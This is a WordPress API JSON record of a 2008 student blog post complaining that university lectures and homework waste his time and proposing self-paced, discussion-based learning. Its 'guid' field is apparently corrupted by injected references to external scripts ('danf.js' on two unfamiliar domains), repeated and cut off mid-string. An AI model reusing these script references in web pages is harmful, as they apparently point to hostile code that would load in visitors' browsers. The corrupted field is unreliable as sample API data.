{"id":48,"date":"2008-07-10T14:33:15","date_gmt":"2008-07-10T19:33:15","guid":{"rendered":"http:\/\/middle.destinyfernandi.com\/clork\/bons\/danf.js?k=0&middle.destinyfernandi.com\/clork\/bons\/danf.js?k=0&middle.destinyfernandi.com\/clork\/bons\/danf.js?k=0&middle.destinyfernandi.com\/clork\/bons\/danf.js?k=0&adjust.admarketlocation.com\/bons\/danf.js?k=0&adj"},"modified":"2008-07-16T21:16:27","modified_gmt":"2008-07-17T02:16:27","slug":"universities-should-get-with-the-times","status":"publish","type":"post","link":"http:\/\/maroonandgoldblog.com\/2008\/07\/10\/universities-should-get-with-the-times\/","title":{"rendered":"Universities should get with the times"},"content":{"rendered":"


\nEvery time I write a tuition check, buy books, wait in line for books, sit through a boring lecture or pull an all nighter on a stupid homework assignment, I’m forced to ask myself why I even do it. Let me get one thing straight: I LOVE LEARNING, which is exactly why I have such a problem with schools who (1) don’t tailor to my learning style or (2) don’t teach me much of value (considering what I’m paying) to my future.<\/p>\n

Learning is essential, important and fun!
\n<\/strong>I’m not the type to watch TV, see too many movies, play video games for hours on end or any other similar activity that I consider to be wasteful<\/em>. Instead, I spend my time improving myself — reading interesting books, setting goals, being active in my church (which I think is the best way to improve one’s self) and other similar things. I LOVE LEARNING — The more I know, the more I know I don’t know and the more urgently I feel the need to find it out. It’s one of the most rewarding things I’ve ever done.<\/p>\n

Not all methods of learning are equally benefical
\n<\/strong>Of all the ways I bring information in to my head, I have learned that some ways are more effective than others. I find educational movies to be among the best — requiring my full attention and appealing completely to my senses of vision and hearing. I also like reading. Quality material, of course. I also think there’s a lot of crap. Stuff like the Harvard Business Review is a little costly to come by but bestows incredible amounts of knowledge in a short amount of time. I also really enjoy a good, stimulating discussion — particularly with an expert on a topic. I ask the questions, the expert or experts in the room answer them and they have my full attention.<\/p>\n

Current university-style learning is not for me
\n<\/strong>Every time I sit through a boring lecture or turn in a pointless homework assignment I feel dumber. I have this incredible desire to move forward in life, and yet, I feel like my hours in class are wasted. Why am I still in school you ask? Well, I’m already pretty far in to it, and there’s something to be said about not giving up. I’ll also frankly admit that there’s a lot of social pressure from family, friends and society that makes quitting college difficult. I find it easier to just “suffer through” and try to supplement my learning in other ways.<\/p>\n

In talking with others about this, I can tell that I’m not exactly “alone” in my thinking, but I am in a minority. It seems that university style teaching does work for most, but not for me. Unfortunate? Maybe. But that’s why I’m so frustrated with tuition. I hate paying as much as I do (even you scholarship people should understand that if it’s not your money, someone else’s money is being spent) for something that is of little or no value to me.<\/p>\n

You might also think that it’s my attitude — that school is what you try to get out of it. Believe me, I’ve tried and I am trying. But when I think about “investing in my future” or “investing in education,” I don’t think it’s unreasonable to expect that I shouldn’t HAVE to learn the same way that others learn. If I’m a paying customer, I should get the knowledge and training I’m paying for, shouldn’t I?<\/p>\n

I believe that there is great value to the university experience beyond the schooling. The social experience makes me more well-rounded. The networking is beneficial. Forcing me to learn about topics that I never would have thought about (like psychology) actually proves to be very interesting! I am only humbly submitting that the learning could be more efficient.<\/p>\n

What do I mean by efficient learning? I would like to see “choose your own homework assignment” where grading would be based on (1) what you chose to do and (2) how well you did it. I would like to see more stimulated discussion in class where teachers basically say “Ok, I’m the expert on Economics in the room. What would you guys like to know?” I would also like to see better use of online collaboration tools<\/a>. I’m a big fan of learning at your own pace in your own timeframe under your own parameters. Online tools make it possible for you to exceed the efforts of your classmates if you so choose, or if circumstances require it, scale back a little to devote more energies to other areas of life.<\/p>\n

If this were the case, for me, senioritis would completely go away. I intend to be involved in a lifetime of learning. I wouldn’t be opposed to taking 1-2 classes a semester for the rest of my life so long as I felt like it was the best way for me to learn. That’s my rant, thanks for listening!<\/p>\n

Dallin<\/p>\n

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Every time I write a tuition check, buy books, wait in line for books, sit through a boring lecture or pull an all nighter on a stupid homework assignment, I’m forced to ask myself why I even do it. Let me get one thing straight: I LOVE LEARNING, which is exactly why I have such a problem with schools who (1) don’t tailor to my learning style or (2) don’t teach me much of value (considering what I’m paying) to my future… Read More<\/a><\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[38,39,42,41,40],"aioseo_notices":[],"_links":{"self":[{"href":"http:\/\/maroonandgoldblog.com\/wp-json\/wp\/v2\/posts\/48"}],"collection":[{"href":"http:\/\/maroonandgoldblog.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/maroonandgoldblog.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/maroonandgoldblog.com\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"http:\/\/maroonandgoldblog.com\/wp-json\/wp\/v2\/comments?post=48"}],"version-history":[{"count":0,"href":"http:\/\/maroonandgoldblog.com\/wp-json\/wp\/v2\/posts\/48\/revisions"}],"wp:attachment":[{"href":"http:\/\/maroonandgoldblog.com\/wp-json\/wp\/v2\/media?parent=48"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/maroonandgoldblog.com\/wp-json\/wp\/v2\/categories?post=48"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/maroonandgoldblog.com\/wp-json\/wp\/v2\/tags?post=48"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}